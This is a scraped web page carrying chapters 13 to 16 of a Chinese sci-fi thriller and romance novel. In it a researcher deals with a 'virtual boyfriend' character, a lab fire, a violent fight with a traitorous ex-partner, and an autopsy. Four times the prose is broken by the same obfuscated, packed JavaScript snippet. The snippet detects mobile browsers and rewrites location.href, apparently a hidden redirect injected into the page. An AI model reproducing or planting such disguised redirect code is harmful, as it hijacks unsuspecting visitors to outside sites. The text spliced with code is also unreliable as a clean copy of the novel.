;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111657|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旅行男友的系统消息。 黎准一眼扫到:“?” “……” 唐奂眼底闪过一阵慌乱,一把拿回手机。 如果没有亲眼看到,就唐奂这张一本正经的脸,黎准实在很难想象能有这样的表情。 嗡……嗡…… 还在响。 唐奂面部肌肉僵硬,连按音量缩小键,直到它彻底成了静音。 这一通下来,把刚才有□□味的气氛全都浇灭了。 黎准拳头放在唇边咳嗽,似笑非笑,“想不到唐博士一个每天和数据打交道的人,也会对虚拟男友感兴趣啊。” “……” 唐奂无言,他的两只手放在腿上,过了一会儿又低头捂住脸。 “玩‘旅行男友’怎么了。” 许清言端了新的鸡尾酒过来,替唐奂打圆场,“我天天见的活的男男女女不多吗,他们照样也玩。黎准啊,给虚拟男友买单的人,对感情这事大都是心底干净……” 许清言说着又给了唐奂一个wink,“不过你这个虚拟男友真热情呢,好羡慕,我的那个发消息都很节制,好多天见不到人。” 唐奂:“这个话题可以结束了吗。” 有眼球做先例,唐奂打消了说旅行男友的事。 如果让黎准和任怀安知道了陆池修的存在,别说让他签交接文件了,直接给他软禁起来都有可能。 万一陆池修再不定时发点不可描述的照片,那还不如杀了他。 “许清言,你今天调的这杯酒,颜色比以往深一点。”黎准见唐奂实在尴尬,还是换了个话题。 许清言笑说:“我看唐博士有点疲劳,多加了点枫糖浆。唐博士很适合这个颜色呢。” 威士忌才喝了半杯,琥珀色的酒液映着灯光流转,微凉的杯壁还留着唐奂的指痕。唐奂心烦,拿过来仰头全喝了。 “哦对了,”黎准说,“你不是也有话对我说吗,什么事?” 唐奂沉眸,拿起一张贺淮的照片。 “我也是要说他。” —— 十一点左右又下起了小雨。 铃铃。 酒吧的门被推开,黎准撑伞在前:“我送你吧。” “不了,我住得不远。” 唐奂婉拒了黎准,撑起自己的黑伞,皮鞋踏着雾蒙蒙的街道向地铁站走去。 他知道黎准在目送自己,因为惦记后台,唐奂匆忙摸出了手机。 未接语音14个。 旅行男友的服务要是这样,早就被用户告骚扰了。 唐奂急需接到一次陆池修的电话。 那颗眼球,情况越发不好了。 系统显示,最后一次语音打过来,是三分钟之前。 唐奂注视着后台,不觉中走过了几条街道,可震动声没有再次响起。 陆池修,再打一个过来。 就一个。 等回过神,唐奂控制步伐,刻意放慢了走路的速度。灯红酒绿的夜晚,时间的流动似乎也在这一刻异常缓慢。 还是没有消息。 唐奂暗想,果然还是错过了吗。 小雨滴答打在伞布,远处星点亮起,是一辆电车冲出隧道钻进了站台。 唐奂停下脚步,原地站了一会,正当他几乎要放弃,手机猝不及防地再次响了。 嗡—— 唐奂心脏一震,立刻接起。 “喂。” 14. 第 14 章 …… 接通成功。 旅行男友的图标在语音界面亮起,通话时间开始计算。 对面仍旧沉默,唐奂:“你方便说话吗?” “……” 手机屏幕泛出的白光在指尖映出轮廓,唐奂犹豫了一下,试着叫对方的名字:“……陆池修。” “我在听。” 年轻的嗓音带着一丝微弱的沙哑,听起来有些隐忍的吃力,像是嗓子受了伤或很久没有开过口的样子。 陆池修又说:“好久不见。” 绿灯转红灯,车辆行人放慢速度。 唐奂西装外裹着风衣停在街头,他打着伞的手有些僵硬,夜风吹散的凉凉细雨从眼前飘过。 次元壁第一次打破,唐奂的耳朵不受控制地被耳机里的声音吸引,若今晚的酒有酒精,他还可以认为自己是喝醉了。 过了几条斑马线,唐奂才勉强开口:“你……找我有事吗。” “你呢。”陆池修说,“这几天总在看后台,是有话想对我说吗。” 唐奂:“我……” 如果不是在街上,唐奂会把耳机摘掉,不让对方的低语在耳边如此近的地方响起。 虚拟男友的声音和他有明显的年龄差,唐奂今年27,而陆池修的声音,听感不过20岁前后的样子。 那声线轻飘飘的,年轻又成熟,还隐隐带着不易察觉的玩味。 “我想问你那颗眼球的事。” 唐奂沉了口气,尽量找回平时的淡然,“它的状态很不好,有没有什么办法让它恢复成原来的样子?” 笃定它和陆池修有关,唐奂把最后的希望放在了这次通话。 “……原来是这个。”陆池修听起来有点失望,“我还以为,你是想感谢我呢。” 唐奂:“我是感谢你的,但我的确很着急……” “不用着急。” “那它——” “你救不了它。”迎着窗外的月光,陆池修仰起头,“它是消耗品,能量已经快要耗尽,我也只能感觉到很微弱的信号了。” “……”唐奂陷入了长久的沉默,如鲠在喉。 须臾,唐奂轻吐一口气:“我以为,你和它是一体的。” “算是吧。”陆池修一笑,轻柔的声音传进耳畔,“虽然它不等于我,但它的认知完美复刻了我的意志。这是既定的程序,无论何时何地,落到谁的手里,它都不可能违背我的意愿。” 什么意思? 不。 更重要的是—— “你的‘意愿’是什么?” 唐奂喉结发紧,压抑着人类本能的不安。 再次意识到电话连接着一个异端,唐奂的声音有一丝生硬: “入侵蓝星?” “把所有人类变成怪异植物的宿主?” 沥青的宽阔大道被雨水渗透,黑色的路面像打过一层油墨般深沉。 唐奂迈开脚步,擦肩而过的路人或是面如土色行色匆匆,或是纵情享受短暂的自由,每个人都不会觉得世界正在陷入危机,每个人都相信雨终究要停,太阳会照常升起。 “那我一定会阻止你。” 唐奂眸如星辰,大步穿过街道,一袭黑色风衣包裹的身体被风吹得更显瘦削。 见识过第七生态圈的昼夜花,见识过因为蜃影藤死无全尸的张全,前方的道路总不是那么清明,长夜漫漫,不管对面的人是什么存在,就算死,他都不会低头认输—— 对面先是传来了一阵低笑。 唐奂的注意力高度集中,因为看不到对方的脸,而陆池修的嗓音很有迷惑力,集中时间太久,太阳穴不由得钝痛。 “我的意愿只有一个,就是……” 陆池修干净的嗓音近了些,像真的来到耳边:“保护你,不让你受到一点伤害,就像……” “……” 唐奂直接沉默了。 许是因为沉默太过突然,陆池修的话没有说完。 但陆池修又重新组织了语言:“蓝星现在很危险,在我去到你身边之前,你一定要注意安全。” 唐奂刷卡进地铁站,穿过长廊,一路走上了台阶。 通话时长仍然跳动着。 陆池修似乎在静静地听着他的脚步声。 进了站台,唐奂抿唇:“既然没有别的事……” “刚才我的话很像虚拟男友会说的吧。”陆池修戏谑,“我看到后台有两百条备选……真没想到你会喜欢这个游戏,话说你下载旅行男友,是默认了愿意被几句甜言蜜语哄骗么?” “……我亲爱的、爱人呐。” “谁是你的爱人!” 唐奂冰冷的声音在地铁站变大,惊醒了排队打瞌睡的人,他们纷纷往后看,只见一个面容清俊的男人眉头紧蹙:“这都多少天了,我连活的你都没见过!” —— 当晚,噩梦久违地找上了唐奂。 13年前的五月,家中的客厅,他浑身是血,面前的男孩撕心裂肺地喊:我不会再回到这里了! 男孩消失了。 梦里的他冲进了派出所,许多脸色焦急的人围着他。 “什么?你看丢了一个小孩?”“他长什么样子?”“你说啊?”“你说的是真话吗?”“如果是真的,我们必须快点去找!” 对,快找,快找…… 然而,刚走出去,阴霾里伸出一只手,扼住了他咽喉! “——陆池修!” 噩梦猛然惊醒,唐奂从床上坐了起来。 轰隆隆…… 肺部一阵阵抽痛,快要窒息一样,唐奂抬起汗水流下的脸,窗帘正隐约遮住夜幕,远方雷云滚滚,浑厚的黑色几乎要渗透进来。 啪!一道闪电裂空,照亮整个卧室,也照亮了他苍白的脸。 但那也只是一瞬,转眼间,屋里再次陷入黑暗。 唐奂捂着头,昏昏沉沉,又睡了过去。 嗡……嗡……嗡…… 第二次醒来是清晨7点,还不到起床的时候。 唐奂摸过手机,眯眼看屏幕。 辖区的电话,显示的是,安全情报部。 唐奂喝了口水,觉得嗓子舒服些了,接起电话:“喂。” “唐博士,请你下午5点来辖区总控厅,大堂有工作人员协助你办交接手续。” 电话里的人语气不容置疑。 唐奂:“你们昨天才通知过,三天后交接。” “时间变了。” 说完,对面挂掉了电话。 嘟……嘟…… 听着盲音,唐奂坐在床上发呆,他还没有完全从梦境中清醒过来,又过了一会儿,才掀开被子下了床,光着脚往浴室走去。 官方机构很靠谱,往往是错觉。 见惯了上面的人朝令夕改,但这次不同以往,唐奂还是留了个心眼。 当天下班后,唐奂离开研究所,周副手的车已经等候多时了。 “指挥官问过任区长了,说之前的流程很顺利,就提前了两天。”周副手拉上安全带,“这事是挺奇怪,不过早一点总比晚一点强,我们好像也没吃什么亏。” 周副手正要把车开到马路上,可后车座的唐奂没动静,他往后视镜看了一眼,“唐博士?” 有点沉重呼吸声传来,周副手扭头。 只见唐奂整个人陷在座位和车门的夹角里,一条胳膊环着身体,眼睫闭合。 周副手不敢怠慢,立刻熄火,犹豫了一下,探过手去试了下唐奂的额头:“好像有点烫啊,唐博士你等下,我给指挥官打电话——” 一只手抓住周副手的胳膊,用力握了握,唐奂说:“低烧,不碍事,我有时候休息不好就会这样。” “可是……” “别耽误时间了,走吧。” 一个小时后,周副手的车开进了总控厅。 手续如约交付。 会议室冰冷的灯光映照在长桌上,辖区代表站在长桌的一侧,战装笔挺:“唐博士,即日起,您将作为特别研究员临时编入生物安全署。届时,请接受我方监督。” 唐奂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111658|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听出了这人的声音,是清早打电话的那个人。 代表说完,递来一份厚厚的文件:“请您仔细确认所有条款,确认好就签字。” 唐奂接过文件和笔,翻了几页。 字印得很小,密密麻麻,周副手瞟了一眼,心道这帮人就只能在这里使点绊子,可唐奂依旧很谨慎,一条一条阅读起来。 时间一分一秒过去,周副手不敢放松,他带了四个保镖,笔直地站在唐奂身后,与辖区代表隔桌相望,脸对脸时间长了,压迫感弥漫在每一寸空间,大有两军对垒的架势。 唐奂看完所有条款,签名,按手印。 代表居高临下,像在审视待宰的棋子。就在这时,手机的震动声打破了现场的死寂。 嗡…… 周副手:“喂?指挥官?” 仅在一秒不到,一股不安就席卷了唐奂。 “您说研究所吗?”周副手声音短促,面色渐渐冷下来,听筒里传来的声音让他眼神猛地一变,“着、着火了?” 寒意从脊椎直冲头顶,唐奂站了起来。 “唐博士,手续还没结束,你不能走!” 辖区代表严厉训斥,身后的保镖已经要上前,说时迟那时快,周副手的听筒里,黎准果断命令:“别和他们啰嗦,开枪!” 周副手毫不犹豫,抬手,枪口一闪—— 砰! 子弹擦过空气,精准射穿了代表的肩膀。 代表登时闷哼一声,踉跄后退,鲜血迅速渗透了衣服。保镖们也反应过来,手刚搭在腰间的枪套上。 “谁动谁死!” 周副手冷声警告,五条森森的枪口指向对面,子弹咔嚓上膛。 对面一看这边来真的,都不敢动。 周副手凛然举枪,下巴向外一比,保镖们心领神会,护着唐奂迅速离开。 短短几分钟,急速的引擎声轰鸣而来,一辆黑色生物安全署的专用车飞驰而至,在唐奂面前稳稳停下。 司机拉开车门,唐奂毫不迟疑坐进后座。 风衣的下摆掠过座椅,唐奂碎发拂起,清冽的面容在昏暗的车厢里冷静异常。 “快走!” 周副手随后上车,车门关上的瞬间司机一脚踩下油门,直奔研究所。 街道在疾驰的车速下接连后退,冲上高架桥后,唐奂远远看到天际被不正常的红光照亮,升腾的黑烟,仿佛要将整个潼港市笼罩。 司机忍不住说:“这下研究所损失大了。” 多日前任怀安妥协时的笑容浮现在脑海,唐奂冷声:“一场大火,不知道要平了多少糊涂账。” 任怀安没打算把眼球还给他,还顺便利用了黎准的提议,让他们把注意力都放在了所谓的“交接”上。 “何止是那颗眼球,”唐奂说,“他是要借这场大火,毁掉所有指向所长的不利证据。” 嗡…… 手机一震,唐奂立刻看去。 “怎么了?”周副手问。 唐奂不动声色把手机塞回口袋:“没事。” 研究所近在眼前,司机一个急拐弯,轮胎发出摩擦地面的呲呲声,车刚停稳,周副手还在接电话,唐奂反手关上车门走了。 整栋大楼陷入火海,空气中弥漫着化学物质燃烧的呛人气味。 “唐哥!”林今叫了他一声。 火灾发现及时,所有人已紧急撤离,唐奂拍了拍林今的花猫脸,走向火海前,回头看到所长颓然坐在地上,人在哭嚎,但没有一滴眼泪。 “唐博士!危险,不能进去!” 门口已被特战队和消防队守住,他们一眼认出唐奂,当即阻拦。 “是黎指挥官允许的。”唐奂面不改色地撒谎,他这张脸只要一本正经说话,就由不得谁不信。 连行动队长都被他唬住,正犹豫间,唐奂脱了外套,拎起一桶冷水从头浇下,摔下桶冲进了火海。 他的手机里,有一条刚刚已读的消息: 【贺淮:这是你最后的机会,想拿回你的东西就来研究所,你自己来】 15. 第 15 章 …… 研究所内火势失控,天花板崩塌,铁架被烈焰炙烤,砰砰几声,玻璃试管在高温中接连炸裂,碎片飞溅。 唐奂强忍晕眩,脚步毫不迟疑,直奔研究室而去。 唐奂的研究室在走廊尽头,一路过去,火势比起外层要小。 到了地方,唐奂推门而入。 培养舱仍然完整地矗立在实验桌,滚烫的水珠流下,昼夜花组织还在缓缓蠕动。 这时,身后响起沉闷的关门声。 门被人反锁上了。 唐奂回头。 火光映照之下,发消息的人如约而至。 “我就知道你一定会来。”贺淮笔挺的科研服熏出了暗色的斑块,肩膀微耸起,调整着呼吸。 唐奂:“它在哪儿?” “别急。”贺淮的手指在金属箱上有规律地敲着,“它还好好的。” 15×15厘米大小,正好容纳那颗眼球。 烈火终究烧到了走廊外,热浪一股又一股,贺淮盯着唐奂,忍不住微微一笑,整个人沉浸在了某种不可控的执念。 唐奂:“你要拿它和我谈条件?” “谈合作。”贺淮缓慢而坚定地纠正,“唐奂,还记得博一的时候吗。我说过,植物、虽然占据了蓝星有机生物的82.5%,可它也没有自我意识,所以稀松平常的花草不会变成杀人利器,人类不会因为它们灭亡……” “……”唐奂沉默了。 “我知道你记得。”贺淮说,“可是,事实证明是我错了!” 他的话音落下,燃烧的火焰猛烈了一瞬,空气中传来尖锐的崩裂声。 可唐奂没有被贺淮的情绪感染分毫,趁机反问:“你身上发生了什么事,我怎么相信你?” 贺淮笑意不变,傲慢地开口:“生洲势力会在不久的将来占领蓝星,净化会、会把蓝星上所有的人类,无论是黄种人、黑种人还是白种人,都变成植物的傀儡。这是注定的,谁也不能改变!” 说到激动处,贺淮靠近一步,眼神灼热:“跟我合作吧,你还能活命。” 唐奂只是看着他,没有说话。 贺淮的目光越发沉静,低声道:“……我还想重新追求你。” 或许知道是最后一次了,贺淮颤抖的嗓音带着近乎偏执的乞求:“等一切平息,我们重新开始。我保证,我不会再背叛你,所以给我一个机会吧,好吗。” 火星的噼啪声在两人的耳边炸裂。 “净化会远在生洲,你是怎么联系上的?”唐奂平静地问,“你要怎么向我证明、你说的都是真的?” 这样的语气让贺淮无比怀念,他们在一起的那段时光,研究上总会碰撞出许多奇思异想。明知道唐奂可能在套话,贺淮心底的喜悦仍旧溢于言表,这或许就是妥协的前兆。 贺淮犹豫:“你确定想知道?” 唐奂点点头。 “我和他们的执行官副手单线联系,”贺淮说,“你还不知道,研究里除了我和所长,你之前的那位研究员,也加入净化会了。” 唐奂:“你说沈述?” “对,他现在叫修恩。” 贺淮说着,下定了决心般撩起袖口,露出了手臂上的一块灰蓝色晶片。 晶片是嵌在皮肤里的,薄如蝉翼,隐约浮现着陌生的植物脉络。 “我会向你证明,我说的一切都是真的。” 说着,贺淮将晶片贴在掌心,柔和的荧光闪烁,开始连接一个特殊通讯频道。 滋滋…… 信号接通了。 “修恩,是我。”贺淮说,“我以前和你说过的,我的恋人、唐奂,也在考虑加入我们,他说想和你通话。” “……” 回音中传来低沉的风声,像是深邃而陌生的甬道发出的低鸣。 唐奂走近,试探道:“沈述?” “没什么好说的。” 下一秒,一个冰冷的嗓音响起—— 通讯对面的修恩甚至有些刻薄:“我不管你是谁,只告诉你一句话,贺淮会害了你,不要相信他!” 话音刚落,唐奂猛然抬起头。 电光火石之间,贺淮手里的金属箱子砸了过来! 嘭! 唐奂侧身闪避,抬起手臂挡住。 皮肤随着一阵刺痛撕裂了一道狰狞的伤口,鲜血渗了出来。 火光翻涌间,贺淮喘着气,脸上浮现出阴冷:“你以为我不知道你在做什么打算?从你看到晶片的那一刻起,你就只有‘顺从我’和‘去死’这两个选项了。” “现在,选吧。” 啪嗒,啪嗒,唐奂手臂流下的血顺着指尖滴落在实验台。 贺淮迎面走过去,然而就在两人只剩几米的地方,唐奂眸光一凛冲了过来,噗!贺淮眼珠瞪大。 腹部传来冰凉的违和感,之后才是疼痛。 “……!” 贺淮的脸上浮现出难以置信的表情,踉跄着后退两步,他低下头,呼吸间一把没入胸口的解剖刀在上下起伏。 “你……”贺淮看着唐奂,“你为什么要这样做?” “说话!为什么这样对我?就算你恨透了我,我从没想过要杀你啊!”那个距离太近了,贺淮身上迸发着寒洌的气息,发了狂似的一把扼住唐奂的颈口。 唐奂被那股力一推,后背摔在了实验台上。 “是你愿意来的,是你求知欲过剩,没有后悔的余地也是你自找的、你知道吗?”贺淮手臂上的晶片还在亮着。 频道中的沈述喝道:“住手,不要牵扯无辜的人!” “闭上你的嘴!” 用力挂断信号后,贺淮发现,唐奂还在用那一丝微弱的力量伸向裤子口袋。 手机滑出来掉在了实验台上。 “怎么,这种时候,你还想报警吗?”贺淮示威似地捡起手机。 嗡…… 屏幕亮起,旅行男友的窗口提示弹了出来。 “哈哈哈……”贺淮笑得流血的伤口阵阵作痛,他强压着出血的地方,咬着牙:“你看我没说错吧,你还真的会下载这种莫名其妙的游戏……” 说着贺淮把屏幕凑近唐奂的脸,解锁成功,期间他一只手死死摁着唐奂,另一只手拨动屏幕直奔旅行男友。 “喔……你亲手捏的脸吗?挺好看的啊……”贺淮用手机在唐奂脸上敲了几下,“所以呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111659|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么用吗?发几张照片,说几句甜言蜜语。现在你看看呢,难道他还能来救你吗?除了臣服我,你还有选择吗?” 贺淮笑得讽刺,却见唐奂猛然抬头,目光如刀锋般看向他: “贺淮。背叛我,你最多是个无可救药的烂人。” 这话听得贺淮浑身战栗,在抽屉里摸到了一把同等型号的解剖刀,掐着唐奂的脖子,颤抖着把它举了起来:“你再说……?” 玻璃仪器在高温中接连破碎,滚烫的碎片落在桌面上,发出一阵清脆的声响。 “可你背叛了人类,你这个叛徒!”唐奂甚至抬起了一些身体迎上去,用平生最轻蔑的语气说:“你真该去死!” 电光火石之间,砰—— 解剖刀狠狠刺了过来,擦着唐奂的耳边扎进了冰冷的桌板。 “不要再激怒我了!”贺淮喘着气,红着眼看他。 唐奂毫不退让,冷眼相对。 照亮面颊的火光被阴影遮蔽,贺淮逼身过来,唐奂再次摔回桌上,接着一只手扣住了他的手腕,用尽全力向后一拧! 咔嚓—— 刺耳的骨骼断裂声响起。 剧烈的疼痛沿着神经窜入大脑,唐奂眼前一黑,冷汗瞬间浸湿了后背。 手臂被硬生生折断,腕骨错位,唐奂整个身体都在颤抖。 “服不服?” 贺淮掰过他的脸将他狠狠抵住,力道之大,震得整个培养舱都在晃动。 直到这一刻,贺淮才发觉唐奂的皮肤烫得惊人。 因为置身火海,贺淮还以为是火的温度,此刻再看,唐奂浑身湿透了,大脑似乎也不再清醒,连呼出的气息都是热的。 那一幕,莫名挑动了贺淮心底的一根弦。 “对,你乖一点。” 贺淮眼底燃着疯狂的光芒,喘息中带着扭曲的笑意,情绪到了极致,指尖摩挲唐奂的下颌,那动作反倒成了近乎执着的温柔。 “你明白的,唐奂,你是逃不掉的。” 贺淮低下头,捧起唐奂的脸,就在嘴唇凑近的瞬间—— “你说过的……你的意愿是……不让我受到一点伤害。” 唐奂呢喃,单薄的白衬衫贴在身上透出皮肤的颜色,汗水又顺着线条流畅的侧脸流下,脸上写着骨子里的冷漠。 贺淮一怔:“你在跟谁说话?” 唐奂的发丝紧贴在脸上,浑身的力气都在抽离,气若游丝:“你说的话,算数吗。” “陆池修。” “你在和谁说话?” 贺淮的听觉突然变得很不真切,他的眼底闪过一阵又一阵的慌乱,一如上次在这里和唐奂因为昼夜花对峙,那股爬上脊背的寒意再次袭来。 “……” “说话!” 久久得不到任何回应,贺淮按住唐奂受伤的手臂,一用力。 唐奂浑身因为疼痛紧绷,迷迷糊糊睁开眼。 贺淮:“谁?到底是谁?!” 可清醒也只是一瞬,昨夜封闭在身体中的温度终于爆发出来,唐奂想清醒,可意识不可控地远去。 那一刻的他已没有在回应贺淮,只在唇间呢喃:“……陆池修。” 16. 第 16 章 …… 这一次,贺淮真真切切地听清楚了。 脑海里嗡的一声,仿佛被雷劈中了一样,贺淮怔住,连手松了力气都没意识:“陆、陆池修?” 是他知道的那个陆池修吗。 “怎么可能呢。”贺淮看着唐奂,只能不停地笑:“……陆池修?” 咔—— 贺淮猛然回头。 装着眼球的箱子挪动半米,倾斜落地,锁扣咔嚓一声摔开,里面手掌大小的眼球滚了出来。 空气静默。 眼球一转,琥珀色的瞳孔看向贺淮,直接飞了过来。 贺淮的视线被拉住,还没捕捉到它的影子,手里的解剖刀已经挥舞出去。 下一秒—— 嗤! 锋利的刀尖刺破了眼球。 然而,粘稠的组织液迸发,贺淮瞳孔一缩,强酸灼烧般疼痛侵袭了他的眼睛,他发出一声压抑的闷哼,解剖刀掉在地。 唐奂趁机抬腿,一膝撞上贺淮的腹部。 贺淮整个人向后踉跄,捂住自己的眼睛,组织液顺着他的脸颊滑落,某种未知的能量正入侵着他的神经。 这时,外面传来消防队的喊声,似乎是火势控制住了。 无言的空间,贺淮呼吸急促,从口袋里掏出了一根玻璃试管:“……这是你逼我的。” 和昼夜花一起带回来的试管液。 “这个东西,叫血嚥树。” 贺淮拨开塞子,勾起一抹疯狂的笑意,目光里透着毫不掩饰的兴奋:“……你知道吗?这才是我们该做的实验。可惜,你再也见不到了。” 说罢,贺淮仰头灌下一口,剩下半管狠狠摔向窗台,玻璃炸裂,黏稠的淡绿色液体溅洒在一株仙人掌上。 实验室温度降低,一股强烈的腐蚀气息蔓延开来。 仙人掌从翠绿变为漆黑,枝干剧烈扭曲,表皮破裂后,它的内部张开了血盆大口般的裂缝,钢刺笔直地立了起来。 异化…… 贺淮脸上浮现着诡异的植物纹路,插在胸口的解剖刀掉落,伤口迅速愈合。 “看来潼港是待不下去了。”贺淮喃喃,看着长出了黑色藤蔓的手,“去生洲的时候,我得给执行官送个大礼。嗯,黎准的脑袋好了。” 说着贺淮退向门口,深深望了他一眼:“唐奂,永别了。” 唐奂:“站住!” 关门声传来,唐奂正要追,仙人掌的钢刺直立,向着唐奂的方向移动过来。 唐奂背靠实验台,正思考退路。 地面上,被刺破的眼球瞳孔还在颤动,它努力转动,看向了某个方向。 “培养舱?” 唐奂心一横,爬到培养舱前,用力扭开了阀门。 顿时,舱内的昼夜花组织像激活了一般,丝状触须疯狂涌出。 眼球如同末日的恒星被点燃,先是胀大,又缩小下去。 宛若癌细胞的组织物,汇集成一团。 昼夜花,时隔多年、首次在白昼绽放开来—— 金灿灿的花瓣一簇接着一簇,层层叠叠。 仙人掌的钢针被交缠、碰撞、撕裂、吞噬……它的根部触须断裂,黑色的汁液滑落,昼夜花的花茎婉若游龙,将仙人掌猛然包裹。 一瞬间,整个研究室洒落了金色的雪。 …… 整个实验室只剩下狼藉的残骸。 仪器被破坏得面目全非,培养舱内的组织液消耗殆尽,变成了一滩死寂的褐色残渣。 唐奂想爬过去,控制不住的身体从实验台跌落。 陆池修说,它是消耗品。 此刻,它静静地躺着,死寂得像是一颗真正的没有生命的眼球。 “我……能救你吗?”唐奂轻声问。 它动了动,想努力地转一圈,可它光泽尽失,盯着唐奂,琥珀色的瞳孔微微扩散了。 唐奂沉默了一瞬,伸出手指触碰了它一下。 “……” 没有温度了。 —— 两个小时后,大火被扑灭,研究所的建筑冒着焦烟,又在一场及时雨后,墙体上烧黑的痕迹在雨雾中晕染成了黑水。 “去那边看看!”“还有没有人?”“再来两个帮忙的!” 唐奂醒来时正躺在一个担架上,医务人员抬着他向救护车走。 “先别乱动,你的手臂骨折了。” 唐奂也根本动不了,他脸上还沾着烟灰,衬衫凌乱,一只耷拉在外面的手没有力气,染血的衣袖已经变硬,牵动着肌肉一阵阵作痛。 阴云笼罩,细密小雨又开始飘落,尘埃带起一股焦糊的气息,唐奂冷得缩了缩身体。 这时,抬担架的人停了。 唐奂听到他们喊了声“指挥官”,接着,一件特战制服外套隔着单薄的白色衬单盖在了他身上。 黎准站在他身旁,眼神低沉地看着他:“谁干的。” “……” 唐奂突然坐了起来。 这一幕惊到了医生,生怕唐奂的骨头再次错位,可唐奂也顾不得,昏迷前贺淮的话回响在耳边,他惊愕地看着黎准:“……你,没事。” 紧接着唐奂又看到黎准身后的周副手和特战队员:“你们都没事?” 贺淮没杀他们? 周副手:“我们刚才去救火了。” 黎准察觉不对劲,两手轻轻握住唐奂的肩膀,安慰:“别害怕,你已经安全了。告诉我是谁伤了你?” “贺淮。”唐奂平静说出了那个名字,“他跑了,快去追。” 黎准点点头,转身对周副手交待了几句。 唐奂躺回去后眼皮很重,他正要闭眼,恍惚看到两个穿着白色隔离服的人抬着一副担架,匆匆从他们身边走了过去。 担架上盖着一层干净的白布,一直盖到了头。 白布随着步伐晃动,一只手滑落担架边缘,内部的轮廓若隐若现地飘进了唐奂的视线。 登时,唐奂连呼吸都停住了。 那是贺淮的手。 雨滴落下,水痕在白布表面扩散成一点点深色的阴影,抬担架的人就要加快脚步。 “等一下……”唐奂想叫住他们。 黎准见了,一招手把两个人叫了回来。 那台担架平行停在了他的身旁,唐奂的指尖冰凉,费力撑起身体,颤抖着伸出手去,拉开了罩在尸体脸上的白布。 轰隆隆……天外雷声。 白布下,贺淮冰冷地躺着。 死了。 唐奂停顿了一瞬,把白布重新盖了回去。 …… 武装车在雨夜的公路上疾驰,窗外的世界被雨水模糊成了一片斑驳的光影。 唐奂坐上了黎准的车。 车内安静到窒息,唐奂脸色苍白地靠在座椅上,他左手手臂上缠着绷带,伤口隐隐作痛。但比起生理上的疼痛,他的精神更像是被无形的手扼住,无法喘息。 黎准拿出一包烟,抽出一根递向唐奂。 “谢谢。”唐奂盯着那根烟看了一秒,声音透着倦意,“我不抽烟。” 黎准自己点了一根,又打开车窗,让烟雾从车里散了出去:“接下来怎么打算。” 唐奂:“请尽快尸检。” 武装车缓缓驶入安置研究员的临时营地。 然而,法医们进入停尸间没几分钟,噩耗传来。 贺淮的尸体异化了。 那远比巨人观更可怖,经验丰富的老法医都不忍上前。 “指挥官,不是我们推脱。”老法医声音颤抖,“这具尸体,表面上看起来还行,可他的肚子里有什么东西在蠕动,我们实在下不去手啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111660|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 黎准一脸恨铁不成钢:“你们剖还是不剖?” 低气压过境般的压迫感笼罩现场,法医团队无人敢接话,所有人都下意识把目光投向领头的老法医。 老法医嘴唇青紫:“这已经……不算是人了吧。” 就在这时,一道清冷的声线打破了沉默。 “让我来吧。” 众人齐齐回头,只见脸色苍白的唐奂站在那儿。 黎准的动作顿了一下,目光掠过唐奂缠着绷带的手臂,眸色微沉。 老法医只记得唐奂是研究员,扶着眼镜凑过来,惊讶道:“你、你会解剖尸体?” “会一点。”唐奂神情平静,声音分外清晰,“我硕士是法医学的。” …… 半个小时后,手术灯亮起,尸检开始。 解剖台上,数小时前还在生死对峙的人,僵硬地躺在他面前。 贺淮的尸体仍然完整,可面部扭曲,那是死前遭受了极大的惊吓和痛苦。 唐奂穿上手术服,费力戴好手套。 身体的疲惫,精神的压迫,在这一刻交织成了一张无法挣脱的网。唐奂深吸了一口气,稳住手指,精准落刀。 锋利的刀刃划开胸腔,刻意避开了蠕动的胃部。 贺淮的血管已经完全变异,呈现出不属于人类的褐红。 由于唐奂的手法实在娴熟,老法医断定那句“会一点”果然是谦虚,他在旁边协助操刀,忍不住问唐奂:“你是考博的时候转专业了?” “嗯。”唐奂说。 